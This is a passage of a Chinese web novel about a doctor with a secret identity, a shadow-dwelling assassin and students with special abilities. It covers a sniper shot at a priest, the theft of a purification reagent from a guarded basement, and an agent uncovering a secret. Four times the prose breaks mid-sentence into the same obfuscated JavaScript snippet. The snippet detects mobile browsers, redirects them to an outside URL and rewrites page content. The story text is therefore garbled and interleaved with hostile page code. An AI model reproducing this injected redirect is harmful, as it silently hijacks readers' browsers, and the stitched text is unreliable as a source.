她也可以选择击中瞄准镜中的另一人——伊恩，也只要一枪，席森就能立刻逃脱，不会被欧文等人发现，他们两个身份的秘密也能得以保守。 这把狙击步枪内子弹充足，但是她清楚地知道，自己只能开一枪。因为如果一击不中，在场的人都会有所防备，再想击中就会更加困难，安保局也会立刻找过来。 不知为何，此时的林曜昕忽然有一种不详的预感。 “安医生！”没有考虑太多，他直接开口说道，“哥哥他很信任你！” “什么？”安戈移开视线，望向林曜昕。 安戈的眼神复杂，似乎和以前不太相同，林曜昕的喉咙微动，说道：“我很惊讶……他把自己暴露在你的枪口之下。” 安戈没有回应，林曜昕的话并不能动摇她，她闭上眼，杜朗的话依旧如同惊雷，给她带来极大的震撼，而席森一贯的冷漠和残忍在她脑中回荡，让她思维快要爆炸。 她又看向了瞄准镜。 镜中的两人还在对峙，欧文等人也在逼近。 席森疑似是她的真正仇人，如今在监视她、威逼利诱她合作；而伊恩知晓了她身份，设计了这场针对她的陷阱，还派人把她烧死，他们之间必定不死不休。 现在她要开出这一枪，要选择谁？ 想着想着，安戈忽然又笑了起来，她在笑命运的荒诞。 她要怎么办？安戈继续问自己。 她刚刚才杀了人，死里逃生，可是她心里并不畅快，反倒难受；现在她要杀第二个，她要选择哪个？ “安医生……”林曜昕更加惶恐了，又开口问道，“你还好吗？” 血色夕阳下，带着热意的晚风中，安戈的黑色齐肩发飘扬，她呼吸急促，心跳加速，终于在激烈的思考后做出了决定。 她利落地叩响扳机，随着一声枪响，子弹击中了伊恩，他的太阳穴中绽放出一朵灿烂的血色之花。然而，紧接着，这发子弹竟然穿透了伊恩的大脑，飞射出去，擦破了席森的右脸。 夕阳下，伊恩倒在血泊之中，这一刻仿佛时间都静止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256630|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，席森愣愣地擦了一下面部的鲜血。 已经偷偷来到了席森身后的欧文叫出了声：“不——” 席森这才猛然惊觉，他竟然疏忽至此，让敌人悄无声息地来到他的背后，没有任何犹豫，他迅速将自己的身影融入黑暗的阴影，离开了现场。 山峰上，安戈深吸一口气，让自己的心绪逐渐恢复平静。 她是一个理性、冷静、果断的人，还没有查清事情真相之前，还不能下定结论。 她不能因为一时冲动，做出可能让自己后悔的决定；不能因为杜朗的一面之词，夺走一个曾经帮助过自己的人的生命。 更何况…… “即便我击中了席森，他也不会死。”安戈冷静地看着林曜昕，“他只是自信自己的能力。” 就像两人在保健室相见的那次一样，即便自己击中了他，依旧落入了他的手中。她没有把握一枪了结席森。 此时的安戈仿佛已经恢复了理智，林曜昕有些无措地站着，手脚不知道放在哪儿，闷闷地说着：“或许吧。” “走吧。”安戈戴上了易颜面具，淡淡说道。 “现在怎么办？”林曜昕问道。 安戈看着地上正在燃烧的女尸，拔下她喉管处的暗器，回道：“安保局应该等下就来了，镇上的人也会来救火，我们混进去。” 事情果然如同安戈预料的那般，安保局的车辆很快驶到了山脚下，教堂内的教士，镇上的居民也赶过来，加入了这场救火行动。 人们纷纷议论着，刚才教堂内的地震，还有这场突如其来的山火，是不是神明震怒，降下的灾难，可是他们又不明白，为什么神明为什么要生气，自己做错了什么。 有的人匍匐跪拜，虔诚地跪倒在山前，祈祷着平安。 还有不少人拎着水桶上山。 “林曜昕和安医生呢？”唐玉和艾斯也跟着人群站在门口，四处张望着 “你们找谁？”出外勤的秦也听到了声音，来到二人面前，“有人失踪了吗？” “是的。”唐玉点点头，“他们一个是医生，能救治伤员，还有一个是我们的同学，可以操纵火焰，可是我们找不到他了。” “秦队长！我们在树林中发现了两个人！”探员玲玲赶来汇报，“其中一人说自己能操纵火焰，就提前过来救火了，另一个……是安戈医生，他们是一起过来的。” “那就是安戈和林曜昕！”艾斯忍不住说道，高兴地和唐玉对视。 “太好了。”秦也的声音沉稳，让人有种安心的力量。 “可是……”玲玲的脸上浮现出一种复杂的表情——为难、犹豫、惊骇，说话吞吞吐吐。 “发生了什么？” “在山顶，还有一具女尸……虽然已经烧焦，但是根据遗物，大约是净化教士——戴丽。” “什么？”秦也的声音也有些颤抖。 周围听到的人也惊慌不已。 “等等——我看到戴丽出教堂的，就在第一次地震后。”有人低声说。 地震后，戴丽离开了教堂，然后又在山上遭遇了山火，这一切，怎么都透露出不详的意味，仿佛这些灾难都是针对她一人的。 唐玉更是捂住了自己的嘴巴，难以置信地和艾斯眼神交流着——他们要找的净化教士……死了？ 25. 第25章 唐玉心里相当震惊，而艾斯也惊讶得睁大了双眼。 自从林曜昕借口去卫生间后，唐玉和艾斯就开始在这座教堂内四处寻找净化教师。 “珍宝阁……究竟在哪里啊？”艾斯嘟囔着，“刚才忘了问了。” “嘘——小声点，别让人听到了。”唐玉做出噤声的手势，“这地方一听就不一般。” 艾斯露出了一个鄙夷的神色，他再次招呼了一个路过的教士问道：“诶，你知不知道珍宝阁怎么走哇？” 教士满头大汗，正忙于自己的事情，于是什么也没问，随手一指：“就那边的楼梯，下去就成。” “看，这不就知道了。”艾斯大大咧咧，一脸无所畏惧的模样。 唐玉则是一脸慌张：“我们可是来偷东西的！你怎么这么张扬。” 艾斯眨了眨眼，忽然也有些慌，小声说：“你也没说要偷啊……我以为直接问那个叫戴丽的教士要呢。” 唐玉扶额叹息一声：“算了算了，你现在知道了。听好了，我们有两个计划。” 艾斯一边走着，一边做出洗耳恭听的样子：“你说。” “第一个计划，我们想办法偷偷溜进珍宝阁，把备用的净化试剂取出来。我查过了，这种大型仪式，为了避免意外，教会都会留存备用的净化试剂，我估计他们刚才说的珍宝阁……就会放这些东西。”唐玉严肃说道，“第二个计划，我们想办法，从戴丽身上取血，放入储存试管中，然后回去你和林曜昕帮我提纯，我们就能得到净化试剂了。” “你认真的吗……”艾斯惶恐地说道，“这两个计划都听起来都……很危险啊。” “不试试怎么知道。”唐玉理直气壮道。 说着说着，两人就来到了楼梯口。 楼梯向下，地下室一片阴暗潮湿，只有微弱的灯光照亮道路。 木质地板发出吱嘎的声响，这微弱的异响让气氛愈来愈诡异。 唐玉无畏地走在前方，好似没有发现这些异常，而艾斯则走在唐玉身后，警惕地观察四周的环境。 远远地，唐玉就看到，有一个白胡子教士坐在青铜大门前，他手中拿着光脑，蓝色屏幕悬浮在半空中，认真地在看着什么，直到发现他们两位不速之客，才站起身，不客气地问道：“你们来干什么？” 唐玉和艾斯相互看了看，然后唐玉率先回道：“我们是太阳镇中学的学生，想找戴丽女士，探讨智慧圣典。” 联合教会中，一共供奉着六位神明。而戴丽，正是智慧之神的信徒。 白胡子教士的神色柔缓了下来：“戴丽刚刚离开了，你们没遇上？” “没有，这可真是不巧。”唐玉发自内心地惋惜道，“你知道她去了哪里吗？” 白胡子教士摇头：“不清楚。” “好吧，好可惜，有些问题我特别想请教戴丽女士。”唐玉无奈道，又问，“爷爷……明天中午才是净化日，怎么现在这么都这么忙，明早再准备不行吗。” 白胡子教士以为唐玉是在抱怨，净化日的准备事项太多，戴丽才会和他们错过，于是摇头笑道：“傻孩子，所有物品都要在净化日前一天送到位，这是规定。” 唐玉扬起纯真的脸，又问道：“是不是因为这些东西特别珍贵，临时送过去，怕出现意外？” “当然。”白胡子教士点头，“夜里我们还都有人看守，一刻也不敢松懈。你要是有事，等净化日之后再来吧。” 也就是说，备用净化试剂也会在今晚前送过去。 得到了想要的答案，唐玉满意地勾起唇角，转头对艾斯说，“那我们去找林曜昕吧，时间也不早了，他回来看不到我们要着急了。” 话音刚落，整个地下室就开始剧烈震颤了起来，三人堪堪扶住墙壁，这才勉强没有摔倒。 尖叫吵闹声、东西摔落声、咚咚奔走声从楼上传来。 就在这时，青铜大门也打开了，欧文大主教跌跌撞撞地从珍宝阁里走了出来，欧文疑惑又慌张地看向门口三人：“发生了什么？” 可惜没有人能给他回答。 震颤还在持续。 “是不是地震了？”艾斯努力维持身体的平衡，“我们得赶紧去找林曜昕和安医生。” 唐玉重重点头：“不知道他们怎么样了，我们得汇合！” 欧文大主教匆匆对白胡子教士说：“这里不能没人看守，我上去找人看看。” 然后他又转向两个孩子，“你们两个，别在这里瞎逛！赶紧找个安全的地方！” 说罢，他就赶紧踏着楼梯上去，唐玉和艾斯也紧随其后。 刚走到一楼，又是一阵剧烈的晃动，唐玉惊呼一声，单手抓住栏杆，双脚有一瞬间离开了地面。艾斯自己也没有站稳，但他仍旧去够唐玉，一只手扶住木栏杆，另一只手拽住唐玉的胳膊：“你先想办法出去，我去找他们！” “不行！”唐玉斩钉截铁道。 可是地面晃动得厉害，通顶书架上的典籍开始颤抖，慢慢地靠近书架边缘……然后，一本厚如板砖的硬皮书从天而降，唐玉想闭上眼，可是她知道，如果被这砸中脑袋，也不是闹着玩的，就在这危急的时刻，她脑中灵光一闪，伸出手来，那本典籍的封面上开出一扇闪着绿色光芒的门。 这是她的“开门”能力。 典籍中间开出了一个大洞，落在了唐玉的头顶，竟然直接套在了她的脖子上，样子十分滑稽。 唐玉长舒一口气，看着周围的混乱，寻找林曜昕的踪迹。 “那边还有两个孩子！”人群中有教士呼喊道。 “快把他们先送出去！” “诶？我不是……我们可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272030|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是能力者。”艾斯张口就要反驳，谁知来了两个格外壮实的成年人，在吵嚷喧闹声中，直接把艾斯和唐玉扛在了胳膊上。 就这样，他们两个被强行送出了教堂。 不久，对面的山上就燃起了火。 两人顾不上这些，只是央求着教士们帮他们回到教堂里寻找安医生和林曜昕，所有人都一口答应，但是始终没有消息。 他们还想再闯进去，只可惜他们的能力低微，D级能力者只是比手无缚鸡之力的普通人要稍好一些而已，而且他们一看就是孩子，教士们根本不同意。 血色的夕阳中，这一桩桩事件，都透露着不详的征兆。 山上的火势逐渐蔓延，等不到消息的唐玉和艾斯也愈来愈焦急。 还好，他们忽然间听到了秦也等人的谈话，还看到了戴丽的焦尸从山上被抬了下来。 这一切发生得太快，仿佛在做梦。 唐玉几乎快要晕眩，她扶助艾斯的肩膀，摇晃道：“快，告诉我这是不是梦。” “你晃我干什么啊……”艾斯哀嚎道，“如果是梦，我早就被你慌醒了！” “天哪。”唐玉喃喃道，看着从远处走来的，狼狈的艾斯和安戈，她的朋友们在灾难中安然无恙，她有一种劫后余生的感觉，可又总觉得有什么地方不太对劲。 艾斯则看起来没有想太多，他立刻跳了起来，冲他们招手：“喂——我们在这里！” 两人向他们走来，大家汇合。 秦也脱帽致意：“感谢你们的帮忙，尤其是林同学，你的能力在这场灾难中很有用处。” 林曜昕摸了摸鼻子，手一挥：“没事儿。我能力也有限，也只能驱散很小的一部分火焰。” “你们什么时候出来的，我们都没看到！”艾斯用胳膊肘捅了捅林曜昕，挤眉弄眼，“自己跑出来当英雄了，都不喊上我们。” 林曜昕无奈了：“可能我们出来得比较早，或者是因为现场太混乱了，相互没看到。” 安戈回道：“事情发生得太突然了，我们也没想太多，就冲出来了。” 而唐玉，则在一旁陷入了沉思，忽然开口：“伊恩副主教呢？他不是和安医生一起的吗？” 林曜昕看向安戈，安戈面不改色：“地震后，他说自己要去查看一下安全情况，我们就分开了，然后我就看到了林曜昕。” ——真的是这样吗？唐玉压下心底的疑惑，这件事情，怎么看都有些奇怪。 而且安医生也太镇定了些，不对，从面对海威尔起她就有些奇怪……枪法那么厉害，还懂这么多的非凡能力知识，怎么看都不只是一个乡镇校医。 想到这里，唐玉愈发地感到不安和可疑，可是她一直都在帮助太阳镇中学，赶走了讨厌的海威尔，还教会了她许多知识，应该……也不是坏人吧？ 26. 第26章 即便太阳镇极力封锁消息，当天发生的事情也如同病毒扩散一般传播，几小时间，仿佛整个国家的人都知道了地震、山火以及教士被烧死的消息。“太阳镇”这一名字，第一次被这么多人议论，这座守野市旁的小镇，成为了举国瞩目的焦点。 那具焦尸被抬下山的那张照片，更是反复出现在各大新闻网站的首页。 对于这件事情，民众们众说纷纭，但终究离不开神罚、罪恶等关键词，均认为这是不详的征兆，教会的形象也因此受到了损害。 联合教会官方并没有对这件事情做出回应，只说自己也在也忙于调查情况。欧文大主也被教会召去面谈，收到了必须控制舆情的指令。 在如此大的压力下，欧文主教不得不上报伊恩死亡一事，这更是在教会内部掀起了惊涛骇浪。 不过，从眼下来看，伊恩的死亡对他们来说并不重要，重要的是挽救教会的舆论形象。联合教会决定将伊恩死亡的消息暂时压下，因此，只有当时被欧文叫上楼梯的几个目击者知道实情，其他人都以为伊恩还存活，只是有任务在身，离开了太阳镇。 此外，还有一个非常关键的问题，那就是位于周日中午的“净化日”仪式是否还要举办。 “我们会如期举办。”欧文这样对着采访的媒体说，“智慧之神于梦中降下神谕，我们必然要完成。” “可是银袍教士戴丽已经离开了我们。” “我们会有人接替。”欧文回应道，“而且我们有备用试剂。” 紧接着教会和安保局就驱散了赶至太阳镇的媒体们，他们还有很多工作需要完成，这个夜晚注定是混乱和紧张的。 这种混乱和紧张，对于三人组来说，却是机会。 太阳镇中心广场。 这座广场背靠小镇政务办公大楼，面朝小河。在月光的映照下，小河正潺潺流淌，灌木丛在河边，随着河水前行的韵律轻轻晃动。 小镇的夜晚通常是静谧的，就如同月光下的河水一般，可是今晚安保局和教会却格外忙碌。 教士们忙着布置场地，搬运物品，而安保局的探员们则在广场上与政务大楼前把守着。这座小镇的非凡能力者并不多，整个安保局的B级能力者不超过五个，许多探员和秦也、玲玲一样，并不具备非凡能力。 而现在广场上，必然是有几个能力者的。 “他们人变多了。”灌木丛中，唐玉拿出望远镜，观察着局势，“但是也更加混乱了……这或许是好事。” 原本安保局并不负责“净化日”的活动，只是现在镇上实在太乱；教会既要分出人手处理戴丽的事情，还要向上级汇报，控制舆情，难免分身乏术分身乏术。 “唐玉，你拿到那玩意儿到底要干嘛？”林曜昕蹲在唐玉的右手边，他的眼睛上挂着硕大的黑眼圈，显然今天一天的折腾让他疲惫不堪，“就一管试剂，这么少的原材料真能做出来改造系统？” 唐玉撇撇嘴：“那怎么办，也拿不到更多了，他要是有一仓库，我倒是想拿一仓库的。” 林曜昕差点被唐玉噎住。 “安医生真的不简单，她帮忙的话，也许真的一次能成呢……到时候我就把我们班同学都升为A级，咱们变成最强非凡学校……”唐玉眼睛依旧看着对岸，说道，“看谁还敢瞧不起咱们。” 林曜昕沉默不语……唐玉这话在外人看来是异想天开，但是林曜昕却知道，这些都很有可能会发生，因为安戈就是天才研究院桑格莉亚，甚至自己的能力都源于安戈的研究。 要是有一天，唐玉忽然发现安戈就是桑格莉亚……林曜昕甩甩头，仿佛想要甩开这个想法，因为他仿佛已经听到了对方震耳欲聋的尖叫。 另外两人则没有发现他的异常，因为唐玉突然屈起左手的胳膊肘，捅了一下旁边的艾斯：“看，后面的人出来换班了，下一次换班应该是一小时后，我们就趁那个时候行动。” 接着，唐玉又朝向林曜昕说道：“你留在这里，等到时机，听我指令。” 随着月光的流淌，时间也一分一秒地过去。 五十分钟后，唐玉和艾斯悄悄从侧边绕去了河对岸，他们的目标是运送到政务大楼内的备用净化试剂，而林曜昕则在河对岸，眼睛渐渐有些睁不开。 今天对他而言实在是太累了。 他的怀中抱着一袋零食，有些心不在焉地吃着，等待唐玉他们的消息。 忽然这时，光脑传来了震动感，林曜昕以为是唐玉，手忙脚乱地放下零食，却发现来信人是姜灿——没错，MAA的姜灿，上次说要找他吃饭，却被席森驳回的姜灿。 “你在哪儿？” 林曜昕皱起眉，姜灿问这做什么？ “我路过太阳镇来看看你，敲门却没人回。” 看到这儿，林曜昕赶紧回道：“我和同学在外面，过会儿就回去。” 姜灿怎么又来了，席森知道吗？林曜昕的心头顿时浮起一丝疑惑，还有隐约的不安。 席森不希望姜灿来镇上，这是因为他担心安戈的事情被姜灿知道。席森认定，姜灿会在第一时间把安戈关进MAA，彻底控制起来，然而安戈却不是一个能通过暴力胁迫合作的人。 通过这段时间的相处，林曜昕也对席森的判断深信不疑——安戈吃软不吃硬。 要真是这样，接下来恐怕麻烦了。 林曜昕摇了摇头，劝自己不要胡思乱想。事情也不一定会如同席森所想的那样发展……姜灿只是路过，未必会发现安戈的真实身份。 这样想着，林曜昕将注意力拉回了河对岸——该死，他还有个重要任务不能分心！紧接着，他就收到了唐玉的信号。 “启动！”唐玉道。 几分钟后，中心广场的小河对岸升起几缕细细的黑烟，这黑烟其实并不惹眼，远远看起来，甚至像烟囱冒出的袅袅炊烟。 只是……太阳镇没有几个烟囱，更没人半夜三更做饭，而且经过白天的事件后，人们对于失火还正处于草木皆兵的状态，只要有人发现了这边的异常…… 此时正值换班时间，政务大楼后方执勤的安保局探员们向侧边走去，忽然人群中有人大喊了一句：“对面怎么了？又失火了吗？” 此声一出，所有人都紧张地望向对岸。 白天的事情已经造成了极为恶劣的影响，如果教会再在这个关头出了岔子，恐怕更要引起民众的恐慌，于是临时扛起指挥任务的教士立刻下令：“去河对岸看一看。” 众人相互看了一眼，探员们率先说道：“我们去吧，你们继续。” 一时间，所有人都提心吊胆地观察着灌木丛的情形。 就在这时，唐玉和艾斯贴到了政务大楼的后墙根，趁着大家分神的时刻，艾斯按照计划，利用自身分解元素的能力，让墙根空地处泥土漂浮在了空中。 泥土在半空汇集，缓慢地下坠，堆积到了草丛中，地上立刻出现了一个半径一米二左右的深坑，正好足够两个小孩站进去。 唐玉拉着艾斯，毫不犹豫地直接跳了进去，然后伸手在墙根摸了摸，确认好位置，用手画出半人高的一扇小门，两人推开门，光芒一闪而过，就跌进了政务大楼的地下室。 “痛、痛——”艾斯的脑袋着地，立刻鼓起了一个大包，唐玉则是赶紧捂住他的嘴巴，让他不要发出声音。 “谁？”椅子在地上滑动，有人起身前来查看。 昏暗的地下室内，只有一盏小灯亮着，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287851|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着周围杂乱堆砌的箱子，唐玉灵光一现，把艾斯推进了纸箱，自己则钻进了旁边的另一个。 他们本就个子较小，躲在纸箱里相当容易，用纸壳一盖，表面上根本看不出端倪。 那人的脚步越来越近，唐玉感觉自己的心跳震耳欲聋，心跳的速度比这脚步的频率还快。 忽然，脚步声停在了纸箱前，那人左右走了两步，许是觉得地下室没有窗户，他又一直看守着房间的正门，而发出动静的这个角落也没有能够藏匿成年人的地方，于是疑惑地喃喃自语道：“难道是我年纪大了，听错了？” 这句话声音不大，却清晰地传进了唐玉的耳中。 也就是这句话，让唐玉忽然发现，外面的人正是看守教堂珍宝阁的那位老教士！ 不知道艾斯是否听出来了！唐玉十分着急，想要跟艾斯说，让他知道净化试剂大概率就在老教士这里，可是她始终没有听到教士远离的声音。 “教士先生，您这里还好吗？”门外，两位探员前来询问道。 “噢……还好还好。”老教士转过身来，缓步走开，笑眯眯回应道，“这栋楼的入口都被能力者把守住了，有你们这样优秀的探员在这儿，没人敢闯进来。” “外面又失火了。”一人说道，“我们再来确认一下你这里的安全。” “又失火了？这可不好”老教士的声音十分吃惊，“我这里其实也没什么要紧的，也就是两瓶净化试剂需要看顾，而且这东西一直从没出过差池……你们要是忙，就先去看看上面如何吧。” 说着，他就向门口走去，挥挥手，示意两人可以先行离开。 又过了一会儿，整个屋子又重归寂静。 唐玉小心翼翼地掀开硬纸板，看见对面的箱子毫无动静，于是蹑手蹑脚地钻了出来，去敲纸箱，谁知艾斯早就爬了出来，躲在货架后冲唐玉招手，让她过去。 艾斯哑着声音道：“能力者都走了，这是个好机会。” 然后他又指了指坐在门口椅子上，闭目养神的白胡子教士：“你看他的腰间，绑着两管血液。” 唐玉瞬时眼睛一亮：“他带在了身上！” “你把东西准备好，这里还有些远，我们得靠近一些……”艾斯轻声和唐玉说道。 “早准备好了。”唐玉拿出两根装着红色液体的“储存”试管，只要使用这些试管，就能够保存能力者的血液，也保存其中的非凡力量。 两人以地下室内的杂物为掩体，缓慢地一步步挪动，脚下动作极其轻柔，不敢发出任何声响，四只眼睛紧紧盯着老教士的后背，心都快从嗓子眼中跳出来了。 来之前，艾斯毫不紧张，只当向以往在学校那般恶作剧，可是真正到了这间地下室的时候，他就忽然间有了压力——也不禁想问问自己，怎么就这么被唐玉忽悠了，来做这样一件危险的事情。 可是危险……也很刺激。 艾斯的眼睛中闪烁起光芒，抬手做出停的手势，意思是到这里就够了。 他屏住呼吸，仔细地操作，缓慢地用自己的元素分解能力，将试剂瓶的盖子打开，然后净化试剂内的成分缓缓上浮，一点点地向自己这里汇聚。 而唐玉手里的红色液体也在他的操纵下，在空中向对面流淌。 他们计划偷梁换柱，用甜菜汁和染剂调配过的普通水，掉包净化试剂。 如果运气好，恐怕很长一段时间内都不会被发现，等被发现了，时间也已经太过久远，也查不出什么。 只是……调换液体对他而言不是一件容易事，因为他的非凡能力并不高超。 但他们三个是团队，每个人的能力都是加护中必不可少的一环，伙伴们都已经成功了，他绝不能失败。 27. 第27章 白胡子教士靠着高高的椅背，有些打盹。他本就年纪大了，如果不是因为教会人手实在不够，这次守夜的活也不会交给他。 更重要的是，他觉得自己实在无需担心什么。太阳镇本就是小地方，没有卷入非凡世界的种种漩涡，从未有人来偷盗净化试剂，更重要的是，外面有这么多人看守着，太阳镇上没有比这更安全的地方了. 空气中的液体活跃着，它们微微颤抖着前行，艾斯的速度不能太快，他怕自己控制不好，弄出动静，可也不能太慢，因为他怕净化试剂不及时保存，容易失效。 他自己都没意识到，衣服后背已然浸湿。 艾斯又不自觉地想到，还好今天还没有做非凡能力训练，否则他没有精力做这么高难度的事情。 唐玉在一旁，不敢呼吸，不敢动一下，仿佛在玩木头人的游戏一般，只要一动，他们就失败了。 液体从他们的眼前滑过，明明只有短短几秒时间，可艾斯却觉得像是一年那么长。 最后几厘米，最后几滴……成了！ 艾斯长舒一口气，擦了擦额头上的汗珠，可手肘却不小心碰到了旁边的架子，发出了一阵响动。 他身体一僵，头脑一片空白，紧紧地盯着白胡子老教士。 唐玉的手也一下子收紧，随时准备逃命。 “哼……呼……” 微微的鼾声从前方传来，两人看见白胡子教士的身躯有节奏地起伏着，都松了一口气。 “他睡着了，我们赶紧走吧。”唐玉做着口型。 三个小朋友的行动很是顺利，唐玉得到了她梦寐以求的净化试剂，可是这还不够。 安戈当晚就接到了唐玉发给她的讯息。此时，不知怎么的，她已经来到了太阳镇中学旧校舍前。 席森在众人救火时就进入了她的影子里，他们两个人没有说一句话，十分默契地保持着沉默。 安戈在一切结束后也并没有回到艾琳家中，而是在小镇上漫无目的地走着，走着走着，她就来到了太阳镇中学。 这几天发生的事情太多了。 安戈坐在旧校舍的门口，抬头看着月亮。 离开因特里赫德集团后，她从没有一刻这么迷茫过，也许是戴丽的出现，使得她有了一瞬的动摇；也许是两条生命的终结，让她内心并不好受；也许是杜朗的话，把她放入了对席森的矛盾情绪之中；也许是自责自己还不够强大，依旧受制于人，始终没有得到真正想要的自由。 她的眼神逐渐涣散，天上的月亮变得模糊，有了重影。 安戈想，是因为自己不够强，不能击败她的对手。 想到这儿，安戈的体内涌上一股热气，这种热气从脚底窜上眼睛，她刷地一下站起身，看向校舍内，这间校舍破败不堪，但是有着一个勉强能用的实验室，她现在无比地想回到实验室，因为那是她熟悉的地方，能掌控一切的地方。 安戈觉得自己简直蠢透了，如果她有着超越席森的非凡能力，如果她真的有可以改变世界的能力，自由就能被她掌握。 像是下定了什么决心一般，安戈的眼神逐渐聚焦，她的手放在校舍门上——她要变成非凡能力强者，她要组建起只属于自己的研究室，她要资金、要团队，她也要……杜朗的样本！ 清冷的月光洒在安戈身上，可她蓦然地觉得热血沸腾。 “安医生……？”略带疑惑地男声响起，由远及近，是孟校长从办公室出来时，看到了安戈。 安戈看向孟校长，点头打了个招呼。 “安医生，你是想住进校舍吗？”孟校长恍然大悟般说道，“我之前就听唐玉说了，可惜我们的校舍现在确实没有居住的条件，不过……” 孟校长顿了顿，又道：“如果我们这次比赛能够拿下名次的话，应该会得到一笔奖金，到时候我们可以修缮校舍，这样学生也能在学校封闭式集训。” 安戈有些怔愣，这倒是个好消息，如果她长期在太阳镇居住的话，楼上是宿舍，楼下是实验室，岂不是她理想中的环境？ “那……可真是太好了。”安戈语气中带着一丝欣喜。 “而且……”孟校长笑了一下，又眨了眨眼，“小朋友们的秘密基地也可以升级一下。” 他竟然知道！安戈又被惊了一下，原来这位校长一直都有关注到学生们的秘密活动，但是一直予以方便。 “加油哦。”孟校长拍了拍安戈的肩膀。 也就在这时，安戈收到了唐玉的来信。 “安医生！我拿到净化的样本了！我们还缺什么！” 隔着屏幕，安戈似乎都能感受到唐玉的兴奋和激动，忽然她想起多年前，自己也是如同唐玉一般，对着非凡能力的研究充满激情，一时间两张脸重合，不知道哪里传来的一股冲动，安戈不假思索地回道：“我可以给你列一个清单，我们或许可以从黑市购买。” “那……‘复制’试剂呢？” 根据桑格莉亚公开的重要研究材料清单，其中有四样非凡能力试剂的必须的，分别是“储存”、“净化”、“复制”还有“母能力”，现在他们已经得到了前两个，而母能力指的是他们想要改造的能力样本，只剩下“复制”试剂毫无线索。 关于这一点，安戈当然明白，“复制”也是一种被垄断的非凡能力资源，普通人根本无法接触，即便在黑市也极为罕见，可是……这并不能难倒她。 安戈的唇角勾起一抹笑容，回道：“不着急，总有办法。” 她不能再畏手畏脚了，她要抓住一切机会，即便有暴露的风险，也要为自己拼出一条路。 夏天的炎热夜晚，蝉鸣响彻太阳镇，正如安戈沸腾的思绪一般，她打定了主意，明天要去黑市看一看，还需找人帮她把东西卖掉一些。 全程，安戈都没有思考席森会是什么反应，是否会限制她的行为，或者做出一些评价，而席森也出奇地安静，仿佛整个人都不在一般。 他不是没有看到安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298619|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戈的变化，而是今天发生的事情也让席森陷入了异样的情绪中，他说不出来自己是什么感觉，只是心仿佛沉入了谷底，沉浸在一片黑暗中。 也许是有些震惊和懊悔的，作为一个杀手，他从来都是隐匿于黑暗中，蛰伏出击，做螳螂背后的黄雀，可是今天，他的在与人对峙时发生了动摇，浑然不觉有人从后背接近于他，这是一个致命的失误，安戈那一枪也是对他的警醒。 他还有些不知所措，因为他一直以来都是坚定的，目标明确的，然而伊恩的牺牲，他身上灼热的信仰之光，让他不由得想起了大山和林曜昕，想起了自己的初衷，想起了他为复仇所作的一切，包括手上沾染的鲜血，这或许也让他有些愧疚，甚至是一丝丝懊恼，还有无助。 而眼前的安戈，他们相处了许多年，席森对她也有这样的情感——愧疚。但他永远不可能承认，他觉得自己对不起安戈，对这个命途多舛的女士，心怀本不应该有的同情和仁慈。 在确认安戈照常睡下后，存活在影子中的杀手再一次离开了这间小屋，前往林曜昕的住处。其实他很少利用安戈睡眠后的时间离开，但是此刻他必须要去找他。 “你终于回来了，我们影子先生，或者说……保镖大人。” 一进门，席森就看到了一位黑色长卷发的女士坐在双人沙发上，优雅地品尝着手上的热咖啡，可她说出的话冰冷而嘲讽，一旁的林曜昕规规矩矩地坐在椅子上，不敢说话，只用眼睛一下一下地瞟着站在门口的席森。 席森心中咯噔一下，有了不好的预感。 “姜灿？你怎么来了。”席森面上不显，平静问道。 “太阳镇发生了大事，所有眼睛都盯着这里。”姜灿优雅地换了个坐姿，放下咖啡杯，“我说你怎么最近总往这儿跑，原来……是来当贴身保镖了，没想到我这么快就发现了吧？桑格莉亚小姐的护花使者？” 席森看向林曜昕，林曜昕慌忙摆手，表示不是自己泄露的秘密：“我到家的时候，她就已经猜到一切了，鬼知道她怎么发现的！” 林曜昕的表情和语气都显示出他的出乎意料，可是席森却并不意外，他冷冷地瞥着姜灿：“你复现过现场了。” 姜灿耸肩：“没错。” 